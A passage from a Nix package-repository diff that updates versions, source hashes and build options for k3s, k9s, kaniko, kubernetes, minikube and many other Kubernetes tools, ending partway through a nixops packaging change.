k3sRepoSha256 = "0pvab3dd6dzgk1zgra4jmdwba5b8xssfjr3mihwq1h0c5bxf1cza"; + k3sVendorHash = "sha256-EkRbdUoYpK7M+Wbc2Cf37bOwdwPB6/xLxULO7Bkpt5c="; chartVersions = import ./chart-versions.nix; k3sRootVersion = "0.12.2"; k3sRootSha256 = "1gjynvr350qni5mskgm7pcc7alss4gms4jmkiv453vs8mmma9c9k"; diff --git a/pkgs/applications/networking/cluster/k3s/builder.nix b/pkgs/applications/networking/cluster/k3s/builder.nix index a914cf87102ea..2173748cd2dfb 100644 --- a/pkgs/applications/networking/cluster/k3s/builder.nix +++ b/pkgs/applications/networking/cluster/k3s/builder.nix @@ -30,6 +30,7 @@ lib: # It is likely we will have to split out additional builders for additional # versions in the future, or customize this one further. { lib +, fetchpatch , makeWrapper , socat , iptables @@ -184,6 +185,16 @@ let src = k3sRepo; vendorHash = k3sVendorHash; + patches = + # Disable: Add runtime checking of golang version + lib.optional (lib.versionAtLeast k3sVersion "1.28") + (fetchpatch { + # https://github.com/k3s-io/k3s/pull/9054 + url = "https://github.com/k3s-io/k3s/commit/b297996b9252b02e56e9425f55f6becbf6bb7832.patch"; + hash = "sha256-xBOY2jnLhT9dtVKtq26V9QUnuX1q6E/9UcO9IaU719U="; + revert = true; + }); + nativeBuildInputs = [ pkg-config ]; buildInputs = [ libseccomp sqlite.dev ]; @@ -344,6 +355,7 @@ buildGoModule rec { passthru.mkTests = version: let k3s_version = "k3s_" + lib.replaceStrings ["."] ["_"] (lib.versions.majorMinor version); in { + etcd = nixosTests.k3s.etcd.${k3s_version}; single-node = nixosTests.k3s.single-node.${k3s_version}; multi-node = nixosTests.k3s.multi-node.${k3s_version}; }; diff --git a/pkgs/applications/networking/cluster/k8sgpt/default.nix b/pkgs/applications/networking/cluster/k8sgpt/default.nix index 9f9e4bc6740b7..a24b521e242c1 100644 --- a/pkgs/applications/networking/cluster/k8sgpt/default.nix +++ b/pkgs/applications/networking/cluster/k8sgpt/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "k8sgpt"; - version = "0.3.26"; + version = "0.3.27"; src = fetchFromGitHub { owner = "k8sgpt-ai"; repo = "k8sgpt"; rev = "v${version}"; - hash = "sha256-FUYtBoJAnY8WRh0eABniOgg781UooG67RKTHp1u3SiQ="; + hash = "sha256-HWcEcufn0NM+7AF4/M29bsUoQYlVA1nbrkCKt9F1g6k="; }; - vendorHash = "sha256-sd4QIQQpDyPV4pqk9VJBApzRzjwxMFieCOQQjJzFXHc="; + vendorHash = "sha256-b8Y95BDOR5HI6QMU4XLn5FmSHFD9fntc80r84KgmkuY="; CGO_ENABLED = 0; diff --git a/pkgs/applications/networking/cluster/k9s/default.nix b/pkgs/applications/networking/cluster/k9s/default.nix index c40a5c3d56136..fac829c936e7c 100644 --- a/pkgs/applications/networking/cluster/k9s/default.nix +++ b/pkgs/applications/networking/cluster/k9s/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "k9s"; - version = "0.31.8"; + version = "0.32.3"; src = fetchFromGitHub { owner = "derailed"; repo = "k9s"; rev = "v${version}"; - hash = "sha256-sZtMeFoi3UJO5uV4zOez1TbpBCtfclGhZTrYGZ/+Mio="; + hash = "sha256-rw+MoMI/VmFvCE94atfP+djg+N75qwRfxjRlyCvLxR8="; }; ldflags = [ @@ -23,7 +23,7 @@ buildGoModule rec { proxyVendor = true; - vendorHash = "sha256-0Tq74BtSk5mp0eZjTevvDFWnEc5tnSwO7ZckcJXd/Yo="; + vendorHash = "sha256-R/lQAjEfch3RtJNsny6ox0ZgUOFGZdoUEgmeIIM/pmQ="; # TODO investigate why some config tests are failing doCheck = !(stdenv.isDarwin && stdenv.isAarch64); diff --git a/pkgs/applications/networking/cluster/kaniko/default.nix b/pkgs/applications/networking/cluster/kaniko/default.nix index b4b667ccece60..19fcad4c51eb8 100644 --- a/pkgs/applications/networking/cluster/kaniko/default.nix +++ b/pkgs/applications/networking/cluster/kaniko/default.nix @@ -9,13 +9,13 @@ buildGoModule rec { pname = "kaniko"; - version = "1.20.0"; + version = "1.21.1"; src = fetchFromGitHub { owner = "GoogleContainerTools"; repo = "kaniko"; rev = "v${version}"; - hash = "sha256-/JSrkxhW2w9K+MGp7+4xMGwWM8dpwRoUam02K+8NsCU="; + hash = "sha256-mVoXJPNkG0VPTaZ1pg6oB5qa/bYQa9Gn82CoGRsVwWg="; }; vendorHash = null; diff --git a/pkgs/applications/networking/cluster/karmor/default.nix b/pkgs/applications/networking/cluster/karmor/default.nix index 8ee03d825d656..38058e57d2d84 100644 --- a/pkgs/applications/networking/cluster/karmor/default.nix +++ b/pkgs/applications/networking/cluster/karmor/default.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "karmor"; - version = "1.1.0"; + version = "1.1.1"; src = fetchFromGitHub { owner = "kubearmor"; repo = "kubearmor-client"; rev = "v${version}"; - hash = "sha256-HQJHtRi/ddKD+CNG3Ea61jz8zKcACBYCUR+qKbzADcI="; + hash = "sha256-NeLMHecfDyMhXmq1HO3qRIWeYpkoj9Od5wWStZEkHYU="; }; - vendorHash = "sha256-Lzp6n66oMrzTk4oWERa8Btb3FwiASpSj8hdQmYxYges="; + vendorHash = "sha256-EIvwzgpC9Ls43RJEhxNYDlF4luKthFgJleaXcYzOYow="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/applications/networking/cluster/kompose/default.nix b/pkgs/applications/networking/cluster/kompose/default.nix index c1df35b75dc69..290d41fbdddde 100644 --- a/pkgs/applications/networking/cluster/kompose/default.nix +++ b/pkgs/applications/networking/cluster/kompose/default.nix @@ -1,24 +1,17 @@ -{ lib, buildGoModule, fetchFromGitHub, fetchpatch, installShellFiles, testers, kompose, git }: +{ lib, buildGoModule, fetchFromGitHub, installShellFiles, testers, kompose, git }: buildGoModule rec { pname = "kompose"; - version = "1.26.1"; + version = "1.32.0"; src = fetchFromGitHub { owner = "kubernetes"; repo = "kompose"; rev = "v${version}"; - sha256 = "sha256-NfzqGG5ZwPpmjhvcvXN1AA+kfZG/oujbAEtXkm1mzeU="; + hash = "sha256-W9KAjyMp8fbnZunH5hwj0uctNYxEN/vbEDGaFJpv5hM="; }; - vendorHash = "sha256-/i4R50heqf0v2F2GTZCKGq10+xKKr+zPkqWKa+afue8="; - - patches = [ - (fetchpatch { - url = "https://github.com/kubernetes/kompose/commit/0964a7ccd16504b6e5ef49a07978c87cca803d46.patch"; - hash = "sha256-NMHLxx7Ae6Z+pacj538ivxIby7rNz3IbfDPbeLA0sMc="; - }) - ]; + vendorHash = "sha256-nY0d3r3faowHa7ylqDkUrX6MrGW3g1jYjm1MLFW/jK8="; nativeBuildInputs = [ installShellFiles git ]; diff --git a/pkgs/applications/networking/cluster/krane/Gemfile.lock b/pkgs/applications/networking/cluster/krane/Gemfile.lock index 81217037a353d..c462e4d1d6022 100644 --- a/pkgs/applications/networking/cluster/krane/Gemfile.lock +++ b/pkgs/applications/networking/cluster/krane/Gemfile.lock @@ -32,18 +32,19 @@ GEM rake google-cloud-env (2.1.1) faraday (>= 1.0, < 3.a) - googleauth (1.9.2) + googleauth (1.11.0) faraday (>= 1.0, < 3.a) google-cloud-env (~> 2.1) jwt (>= 1.4, < 3.0) multi_json (~> 1.11) os (>= 0.9, < 2.0) signet (>= 0.16, < 2.a) - http (5.1.1) + http (5.2.0) addressable (~> 2.8) + base64 (~> 0.1) http-cookie (~> 1.0) http-form_data (~> 2.2) - llhttp-ffi (~> 0.4.0) + llhttp-ffi (~> 0.5.0) http-accept (1.7.0) http-cookie (1.0.5) domain_name (~> 0.5) @@ -53,7 +54,7 @@ GEM jsonpath (1.1.5) multi_json jwt (2.7.1) - krane (3.4.2) + krane (3.5.0) activesupport (>= 5.0) colorize (~> 0.8) concurrent-ruby (~> 1.1) @@ -69,13 +70,13 @@ GEM jsonpath (~> 1.0) recursive-open-struct (~> 1.1, >= 1.1.1) rest-client (~> 2.0) - llhttp-ffi (0.4.0) + llhttp-ffi (0.5.0) ffi-compiler (~> 1.0) rake (~> 13.0) mime-types (3.5.2) mime-types-data (~> 3.2015) - mime-types-data (3.2023.1205) - minitest (5.21.2) + mime-types-data (3.2024.0206) + minitest (5.22.2) multi_json (1.15.0) mutex_m (0.2.0) net-http (0.4.1) @@ -91,7 +92,7 @@ GEM mime-types (>= 1.16, < 4.0) netrc (~> 0.8) ruby2_keywords (0.0.5) - signet (0.18.0) + signet (0.19.0) addressable (~> 2.8) faraday (>= 0.17.5, < 3.a) jwt (>= 1.5, < 3.0) diff --git a/pkgs/applications/networking/cluster/krane/gemset.nix b/pkgs/applications/networking/cluster/krane/gemset.nix index 16634bfff85b4..9f0aad62cc5d5 100644 --- a/pkgs/applications/networking/cluster/krane/gemset.nix +++ b/pkgs/applications/networking/cluster/krane/gemset.nix @@ -162,21 +162,21 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1qpvsvcag90nw2fjws12m96hsicpmcv04v35j9aiik9rmxxvlk9h"; + sha256 = "15knmk2fcyqxdpppc3wb5lc6xapbx5hax4lma0iclc2p55aa2kkl"; type = "gem"; }; - version = "1.9.2"; + version = "1.11.0"; }; http = { - dependencies = ["addressable" "http-cookie" "http-form_data" "llhttp-ffi"]; + dependencies = ["addressable" "base64" "http-cookie" "http-form_data" "llhttp-ffi"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1bzb8p31kzv6q5p4z5xq88mnqk414rrw0y5rkhpnvpl29x5c3bpw"; + sha256 = "05b1khh7wxga9jviy9yi8z1nckxbm3svlzv40y0zvq3nag3d77mr"; type = "gem"; }; - version = "5.1.1"; + version = "5.2.0"; }; http-accept = { groups = ["default"]; @@ -247,10 +247,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0lgl5x8b0wwih6h609sglp5zfdg8ymbmh8yv4vp1lcxvf885riyz"; + sha256 = "1j4vrb55akvpg08vfwvfawf9qbjv9dyiw32g57va89yq371qjasp"; type = "gem"; }; - version = "3.4.2"; + version = "3.5.0"; }; kubeclient = { dependencies = ["http" "jsonpath" "recursive-open-struct" "rest-client"]; @@ -269,10 +269,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "00dh6zmqdj59rhcya0l4b9aaxq6n8xizfbil93k0g06gndyk5xz5"; + sha256 = "1yph78m8w8l6i9833fc7shy5krk4mnqjc7ys0bg9kgxw8jnl0vs9"; type = "gem"; }; - version = "0.4.0"; + version = "0.5.0"; }; mime-types = { dependencies = ["mime-types-data"]; @@ -290,20 +290,20 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "08ja4k3yjczzz7n6rp1f3qvz4v45bc6fy04clnvdxbq3kfr7jk4c"; + sha256 = "0zpn5brxdf5akh7ij511bkrd30fxd7697shmxxszahqj9m62zvn5"; type = "gem"; }; - version = "3.2023.1205"; + version = "3.2024.0206"; }; minitest = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1hmszq7p4zp2ha3qjv1axam602rgnqhlz5zfzil7yk4nvfwcv1bn"; + sha256 = "0667vf0zglacry87nkcl3ns8421aydvz71vfa3g3yjhiq8zh19f5"; type = "gem"; }; - version = "5.21.2"; + version = "5.22.2"; }; multi_json = { groups = ["default"]; @@ -413,10 +413,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0fzakk5y7zzii76zlkynpp1c764mzkkfg4mpj18f5pf2xp1aikb6"; + sha256 = "0cfxa11wy1nv9slmnzjczkdgld0gqizajsb03rliy53zylwkjzsk"; type = "gem"; }; - version = "0.18.0"; + version = "0.19.0"; }; statsd-instrument = { groups = ["default"]; diff --git a/pkgs/applications/networking/cluster/kube-capacity/default.nix b/pkgs/applications/networking/cluster/kube-capacity/default.nix index be8834d05f531..c4a631c3258e3 100644 --- a/pkgs/applications/networking/cluster/kube-capacity/default.nix +++ b/pkgs/applications/networking/cluster/kube-capacity/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kube-capacity"; - version = "0.7.4"; + version = "0.8.0"; src = fetchFromGitHub { rev = "v${version}"; owner = "robscott"; repo = pname; - sha256 = "sha256-zf6e8+jkgJns1c71QLL1gd0zK34X7gJo1gS38A1DPJo="; + sha256 = "sha256-zAwCz4Qs1OF/CdSmy9p4X9hL9iNkAH/EeSU2GgekzV8="; }; - vendorHash = "sha256-qfSya42wZEmJCC7o8zJQEv0BWrxTuBT2Jzcq/AfI+OE="; + vendorHash = "sha256-YME4AXpHvr1bNuc/HoHxam+7ZkwLzjhIvFSfD4hga1A="; meta = with lib; { description = diff --git a/pkgs/applications/networking/cluster/kube-score/default.nix b/pkgs/applications/networking/cluster/kube-score/default.nix index 3caa17c2a5e2f..47eb7b4e60af7 100644 --- a/pkgs/applications/networking/cluster/kube-score/default.nix +++ b/pkgs/applications/networking/cluster/kube-score/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "kube-score"; - version = "1.17.0"; + version = "1.18.0"; src = fetchFromGitHub { owner = "zegl"; repo = pname; rev = "v${version}"; - hash = "sha256-/4xnUb60ARGO6hM5PQ3ZkuwjEQUT4Xnj/InIsfw2bzI="; + hash = "sha256-3OdcYqSUy0WH5CrrRMXDs1HGxvToXx/3iPytYBdDncg="; }; - vendorHash = "sha256-UpuwkQHcNg3rohr+AdALakIdHroIySlTnXHgoUdY+EQ="; + vendorHash = "sha256-4yd/N57O3avD8KaGU9lZAEDasPx1pRx37rqQpuGeRiY="; ldflags = [ "-s" diff --git a/pkgs/applications/networking/cluster/kubebuilder/default.nix b/pkgs/applications/networking/cluster/kubebuilder/default.nix index 6f54075dc58cd..69b0f990eadc7 100644 --- a/pkgs/applications/networking/cluster/kubebuilder/default.nix +++ b/pkgs/applications/networking/cluster/kubebuilder/default.nix @@ -12,16 +12,16 @@ buildGoModule rec { pname = "kubebuilder"; - version = "3.13.0"; + version = "3.14.0"; src = fetchFromGitHub { owner = "kubernetes-sigs"; repo = "kubebuilder"; rev = "v${version}"; - hash = "sha256-JXI3hQVChM7czCwan1yswsrUSse/IbMzwXw0tnaBiek="; + hash = "sha256-em+I2YICcqljaaNQ+zOAnOZ552elmV6Ywbfla8buwaY="; }; - vendorHash = "sha256-yiRxSJIIYJbkV3QAFclrDDnsBoX1t4cSRvGmwVgz/w8="; + vendorHash = "sha256-iBwhpVs9u5AQAvmzb69SaewdYHmmaV19Bstd0Tux9CA="; subPackages = ["cmd"]; diff --git a/pkgs/applications/networking/cluster/kubecfg/default.nix b/pkgs/applications/networking/cluster/kubecfg/default.nix index 7197a695e826f..da4b6568901cc 100644 --- a/pkgs/applications/networking/cluster/kubecfg/default.nix +++ b/pkgs/applications/networking/cluster/kubecfg/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "kubecfg"; - version = "0.34.2"; + version = "0.34.3"; src = fetchFromGitHub { owner = "kubecfg"; repo = "kubecfg"; rev = "v${version}"; - hash = "sha256-+qQ/80wXSKvPg2nRuvkYZe0+fwnxKsegR0IjsxBKDNQ="; + hash = "sha256-zy7SuJ5ChR09CvZ362z6ZDRd/eIyqg06fpv+JP7C4T0="; }; - vendorHash = "sha256-X+EvvrAnqMw/jpVdF/UJq9zFH+1NLFLYOu5RsxykynY="; + vendorHash = "sha256-TDXZy2I1sxMmtHiE5l9wgW1kJolFYsV5Otv3xfoErWM="; ldflags = [ "-s" diff --git a/pkgs/applications/networking/cluster/kubectl-gadget/default.nix b/pkgs/applications/networking/cluster/kubectl-gadget/default.nix index 479a6efab2a14..d4545cfe990cd 100644 --- a/pkgs/applications/networking/cluster/kubectl-gadget/default.nix +++ b/pkgs/applications/networking/cluster/kubectl-gadget/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kubectl-gadget"; - version = "0.24.0"; + version = "0.25.1"; src = fetchFromGitHub { owner = "inspektor-gadget"; repo = "inspektor-gadget"; rev = "v${version}"; - hash = "sha256-JC6+6PADTfxpVRowh09fXC8EO/qIsUTTba2uYxxxJ/A="; + hash = "sha256-RbLc8c2F2Jy9jHwcd1FgqxhC5cl82oOauo/hsZ5zaG0="; }; - vendorHash = "sha256-7pwEQ1O3i4SmVSTTmOX9KPR0ePdDpf2dQgD4e6fDyzQ="; + vendorHash = "sha256-/1dDAcICf7+g8hxaIAUsUwR9FNqatMhgAsvXrOuvGyk="; CGO_ENABLED = 0; diff --git a/pkgs/applications/networking/cluster/kubectl-klock/default.nix b/pkgs/applications/networking/cluster/kubectl-klock/default.nix index 4b617fd8d8544..044e12837c9d2 100644 --- a/pkgs/applications/networking/cluster/kubectl-klock/default.nix +++ b/pkgs/applications/networking/cluster/kubectl-klock/default.nix @@ -1,17 +1,23 @@ -{ lib, buildGoModule, fetchFromGitHub }: +{ lib, buildGoModule, fetchFromGitHub, makeWrapper }: buildGoModule rec { pname = "kubectl-klock"; - version = "0.5.0"; + version = "0.5.1"; + + nativeBuildInputs = [ makeWrapper ]; src = fetchFromGitHub { owner = "applejag"; repo = pname; rev = "v${version}"; - sha256 = "sha256-fR97rTMFwtqVH9wqKy1+EzKKg753c18v8VDCQ2Y69+s="; + hash = "sha256-q7Wq1mTjOB7tT66+LWIwwqltQcQSHD/VHLO7nCTZTQ0="; }; - vendorHash = "sha256-AkYKKM4PR/msG44MwdSq6XAf6EvdtJHoXyw7Xj7MXso="; + vendorHash = "sha256-3CJ/tmFFkmq6wHxbqk8u+GxxbSrUpB/JD5s/S7hegB8="; + + postInstall = '' + makeWrapper $out/bin/kubectl-klock $out/bin/kubectl_complete-klock --add-flags __complete + ''; meta = with lib; { description = "A kubectl plugin to render watch output in a more readable fashion"; diff --git a/pkgs/applications/networking/cluster/kubedb-cli/default.nix b/pkgs/applications/networking/cluster/kubedb-cli/default.nix index 1972ad27af337..2a3b6e63a9a81 100644 --- a/pkgs/applications/networking/cluster/kubedb-cli/default.nix +++ b/pkgs/applications/networking/cluster/kubedb-cli/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "kubedb-cli"; - version = "0.41.0"; + version = "0.42.1"; src = fetchFromGitHub { owner = "kubedb"; repo = "cli"; rev = "v${version}"; - sha256 = "sha256-P4B5N2hIDTYtrHk86n3MCvy6IXlDyAUc1wFhXmEkQFA="; + sha256 = "sha256-i+0oQaEHMu3525mJTQyL+Me2DPFSpaIK1xGaPMR2M0s="; }; vendorHash = null; diff --git a/pkgs/applications/networking/cluster/kubefirst/default.nix b/pkgs/applications/networking/cluster/kubefirst/default.nix index c7c2b795179c3..c470b79f9097f 100644 --- a/pkgs/applications/networking/cluster/kubefirst/default.nix +++ b/pkgs/applications/networking/cluster/kubefirst/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kubefirst"; - version = "2.3.7"; + version = "2.3.8"; src = fetchFromGitHub { owner = "kubefirst"; repo = pname; rev = "v${version}"; - hash = "sha256-oJWQ5u85uQrHnf3VxY0vJwgGePxB4pg+LD0gofYIB1g="; + hash = "sha256-CW+p6hcXHVUlMuxXiwHtp4/iY/VYe/64TMY2UyARpG4="; }; - vendorHash = "sha256-blMKBgSBRCVlXu8n3wcd2iMkBTALe2gPxy0Z4uwxUWI="; + vendorHash = "sha256-hI6f7Iyo4sWgSSRLDROLhvI/g1wLc1oVmVt2pQ5Ptbk="; ldflags = [ "-s" "-w" "-X github.com/kubefirst/runtime/configs.K1Version=v${version}"]; diff --git a/pkgs/applications/networking/cluster/kubelogin/default.nix b/pkgs/applications/networking/cluster/kubelogin/default.nix index 38222df4775bb..28e3f47a388aa 100644 --- a/pkgs/applications/networking/cluster/kubelogin/default.nix +++ b/pkgs/applications/networking/cluster/kubelogin/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kubelogin"; - version = "0.1.0"; + version = "0.1.1"; src = fetchFromGitHub { owner = "Azure"; repo = pname; rev = "v${version}"; - sha256 = "sha256-j6koBf+8mF5k27H/N/UriTSkRstrdA2zrvU9KqP/l5U="; + sha256 = "sha256-JBP2lE1/46VB/oKgDlNTQ8RFpgIlQE0If5vND7dzo7A="; }; - vendorHash = "sha256-GMTNcZ2jN+014Ivltcf00/UDYDu464fce36Zfg07/Yo="; + vendorHash = "sha256-EwL/aiq2jyojM1r7wNZkA07TswHy6MLUUPQJFnaDG4A="; ldflags = [ "-X main.version=${version}" diff --git a/pkgs/applications/networking/cluster/kubeone/default.nix b/pkgs/applications/networking/cluster/kubeone/default.nix index 16c9d64f7d941..84ff7632cf2b9 100644 --- a/pkgs/applications/networking/cluster/kubeone/default.nix +++ b/pkgs/applications/networking/cluster/kubeone/default.nix @@ -8,13 +8,13 @@ buildGoModule rec { pname = "kubeone"; - version = "1.7.2"; + version = "1.7.3"; src = fetchFromGitHub { owner = "kubermatic"; repo = "kubeone"; rev = "v${version}"; - hash = "sha256-ajzeiT/4S0zABHxhy31NsgspvcNQU/f+YETLuCQ9ErM="; + hash = "sha256-m2RxSKXiKmx1p5g+C8I/l+OtV7wy2KtrFRIK+h9L5lo="; }; vendorHash = "sha256-vUy60CBrdhB9OFMZ4+q05WtrtN4/5ssozYGBV7r4BsM="; diff --git a/pkgs/applications/networking/cluster/kubernetes/default.nix b/pkgs/applications/networking/cluster/kubernetes/default.nix index f67d650e77a54..5e8cfc2b166c5 100644 --- a/pkgs/applications/networking/cluster/kubernetes/default.nix +++ b/pkgs/applications/networking/cluster/kubernetes/default.nix @@ -20,13 +20,13 @@ buildGoModule rec { pname = "kubernetes"; - version = "1.28.4"; + version = "1.29.2"; src = fetchFromGitHub { owner = "kubernetes"; repo = "kubernetes"; rev = "v${version}"; - hash = "sha256-aaGcAIyy0hFJGFfOq5FaF0qAlygXcs2WcwgvMe5dkbo="; + hash = "sha256-DFQaDlp8CqN0jKTVO5N9ZQYyM2gm/VnQfO4/bfvYrTE="; }; vendorHash = null; diff --git a/pkgs/applications/networking/cluster/kubeseal/default.nix b/pkgs/applications/networking/cluster/kubeseal/default.nix index eef739ebdbf4b..921797d1591a5 100644 --- a/pkgs/applications/networking/cluster/kubeseal/default.nix +++ b/pkgs/applications/networking/cluster/kubeseal/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kubeseal"; - version = "0.25.0"; + version = "0.26.0"; src = fetchFromGitHub { owner = "bitnami-labs"; repo = "sealed-secrets"; rev = "v${version}"; - sha256 = "sha256-maDfKFrszKexwzHw50iPu+aLLhi/QqKj6zmes9kS5Lk="; + sha256 = "sha256-rOaczDGjocGpYEPJpMiveWE7sHU9L0Csx2nX0Z3IrBs="; }; - vendorHash = "sha256-3SrfD+6Gg9T9Qtb2PbipJZTe8Szs8Cef/61alwgHUUA="; + vendorHash = "sha256-UicMiSSSQzquNAHFpnWKbybimz3jjbBgWykhyRSU7ZI="; subPackages = [ "cmd/kubeseal" ]; diff --git a/pkgs/applications/networking/cluster/kubeshark/default.nix b/pkgs/applications/networking/cluster/kubeshark/default.nix index e60da24772ccb..b901889c08328 100644 --- a/pkgs/applications/networking/cluster/kubeshark/default.nix +++ b/pkgs/applications/networking/cluster/kubeshark/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "kubeshark"; - version = "52.1.30"; + version = "52.1.63"; src = fetchFromGitHub { owner = "kubeshark"; repo = "kubeshark"; rev = "v${version}"; - hash = "sha256-9nlPfWKgx56evxJkW+iRWJCBxqmMaBH0nCJBAAoibJc="; + hash = "sha256-Ub8FsynnsAiLF4YwZHbhmQIJANAe/lCUgfq3ys/dtO8="; }; vendorHash = "sha256-SmvO9DYOXxnmN2dmHPPOguVwEbWSH/xNLBB+idpzopo="; diff --git a/pkgs/applications/networking/cluster/kubetail/default.nix b/pkgs/applications/networking/cluster/kubetail/default.nix index c7858cf994d3e..774feac4d23d8 100644 --- a/pkgs/applications/networking/cluster/kubetail/default.nix +++ b/pkgs/applications/networking/cluster/kubetail/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "kubetail"; - version = "1.6.18"; + version = "1.6.20"; src = fetchFromGitHub { owner = "johanhaleby"; repo = "kubetail"; rev = version; - sha256 = "sha256-Gde5thEpMX3h0e1eoC8SeDdkZfa02CmQf3ELLMeEWGU="; + sha256 = "sha256-RbbZHKXRtbs42cCbw+xb8TLul6ebUeCiNclMFF39c3M="; }; nativeBuildInputs = [ installShellFiles makeWrapper ]; diff --git a/pkgs/applications/networking/cluster/kubevpn/default.nix b/pkgs/applications/networking/cluster/kubevpn/default.nix index ce42a3bb29cf9..215492a73b1e3 100644 --- a/pkgs/applications/networking/cluster/kubevpn/default.nix +++ b/pkgs/applications/networking/cluster/kubevpn/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "kubevpn"; - version = "2.2.1"; + version = "2.2.3"; src = fetchFromGitHub { owner = "KubeNetworks"; repo = "kubevpn"; rev = "v${version}"; - hash = "sha256-inGqkkzXPjg2VHtPZEPWDTuioPchrf/kiLGjvgXpcI4="; + hash = "sha256-C1Fw7E7lXy9BRj8bTVUMzPK6wBiL6A3VGDYUqdD2Rjs="; }; vendorHash = null; diff --git a/pkgs/applications/networking/cluster/kuma/default.nix b/pkgs/applications/networking/cluster/kuma/default.nix index adcd6dcfff707..9b8c8a2e1a3f7 100644 --- a/pkgs/applications/networking/cluster/kuma/default.nix +++ b/pkgs/applications/networking/cluster/kuma/default.nix @@ -15,17 +15,17 @@ buildGoModule rec { inherit pname; - version = "2.5.1"; + version = "2.6.1"; tags = lib.optionals enableGateway [ "gateway" ]; src = fetchFromGitHub { owner = "kumahq"; repo = "kuma"; rev = version; - hash = "sha256-7r5nD4m8qxU5C/Q3aT+MWXk6FbBNqsMQxV3sXcd34Lw="; + hash = "sha256-jSBuEDnb2KHAOhOldAzpxgqnDXH1N267Axs+clpo2uo="; }; - vendorHash = "sha256-pyjfTqUhfcuHshLzH5q/gA+HLQuqgZ4Tbgw40OcRQwg="; + vendorHash = "sha256-gvB3e9C5KnQwvn2eJPm0WYKlKSnOO9opGikgVA3WJN0="; # no test files doCheck = false; diff --git a/pkgs/applications/networking/cluster/linkerd/edge.nix b/pkgs/applications/networking/cluster/linkerd/edge.nix index 7d2b896b4c3a7..88cd474392a0f 100644 --- a/pkgs/applications/networking/cluster/linkerd/edge.nix +++ b/pkgs/applications/networking/cluster/linkerd/edge.nix @@ -2,7 +2,7 @@ (callPackage ./generic.nix { }) { channel = "edge"; - version = "24.2.1"; - sha256 = "1flbjsa2wj35zgiq4vgb2bqvjvxmpla6fnrlkwnh2l10w4i2n5sl"; - vendorHash = "sha256-1DyqtUSMzVahy8yzX8HAnCe3UI5Z1Pht5XQaMS2i9mw="; + version = "24.2.4"; + sha256 = "0hh2sfjvqz085hl2dpsa9zgr3dwpyc85gcbx0c7lzpjg411bxmim"; + vendorHash = "sha256-g1e1uY43fUC2srKK9erVFlJDSwWrEvq4ni0PgeCFaOg="; } diff --git a/pkgs/applications/networking/cluster/minikube/default.nix b/pkgs/applications/networking/cluster/minikube/default.nix index dbd04f026dfa2..bd9d0fece1b5b 100644 --- a/pkgs/applications/networking/cluster/minikube/default.nix +++ b/pkgs/applications/networking/cluster/minikube/default.nix @@ -7,7 +7,10 @@ , which , libvirt , vmnet +, withQemu ? false +, qemu , makeWrapper +, OVMF }: buildGoModule rec { @@ -24,6 +27,22 @@ buildGoModule rec { rev = "v${version}"; sha256 = "sha256-2EWaMpcr4F1wRzIP1rPg1a/Sjd1x+oo2ee90k4Ie8cU="; }; + postPatch = + ( + lib.optionalString (withQemu && stdenv.isDarwin) '' + substituteInPlace \ + pkg/minikube/registry/drvs/qemu2/qemu2.go \ + --replace "/usr/local/opt/qemu/share/qemu" "${qemu}/share/qemu" \ + --replace "/opt/homebrew/opt/qemu/share/qemu" "${qemu}/share/qemu" + '' + ) + ( + lib.optionalString (withQemu && stdenv.isLinux) '' + substituteInPlace \ + pkg/minikube/registry/drvs/qemu2/qemu2.go \ + --replace "/usr/share/OVMF/OVMF_CODE.fd" "${OVMF.firmware}" \ + --replace "/usr/share/AAVMF/AAVMF_CODE.fd" "${OVMF.firmware}" + '' + ); nativeBuildInputs = [ installShellFiles pkg-config which makeWrapper ]; diff --git a/pkgs/applications/networking/cluster/nerdctl/default.nix b/pkgs/applications/networking/cluster/nerdctl/default.nix index 84d27a186c123..dd0eced01663e 100644 --- a/pkgs/applications/networking/cluster/nerdctl/default.nix +++ b/pkgs/applications/networking/cluster/nerdctl/default.nix @@ -10,13 +10,13 @@ buildGoModule rec { pname = "nerdctl"; - version = "1.7.3"; + version = "1.7.4"; src = fetchFromGitHub { owner = "containerd"; repo = pname; rev = "v${version}"; - hash = "sha256-Y76H/88/esziIermnzfOS48FLBRnVBN8u4C381n184M="; + hash = "sha256-d90xwrMtDK5ibRHIeV6nzv5jqJfaQXpU9xKTH49yiX4="; }; vendorHash = "sha256-oiBgZQtqFwq189h/Bb4CrFhs4RDYUoEEOjrccujGclU="; diff --git a/pkgs/applications/networking/cluster/nixops/default.nix b/pkgs/applications/networking/cluster/nixops/default.nix index 3fef75313b004..75902de1b9f6b 100644 --- a/pkgs/applications/networking/cluster/nixops/default.nix +++ b/pkgs/applications/networking/cluster/nixops/default.nix @@ -1,56 +1,121 @@ -{ python3 }: +{ lib, python3, emptyFile }: let - python = python3.override { - packageOverrides = self: super: { - nixops = self.callPackage ./unwrapped.nix { }; - } // (plugins self); - }; + inherit (lib) extends; - plugins = ps: with ps; rec { - nixops-aws = callPackage ./plugins/nixops-aws.nix { }; - nixops-digitalocean = callPackage ./plugins/nixops-digitalocean.nix { }; - nixops-encrypted-links = callPackage ./plugins/nixops-encrypted-links.nix { }; - nixops-gce = callPackage ./plugins/nixops-gce.nix { }; - nixops-hercules-ci = callPackage 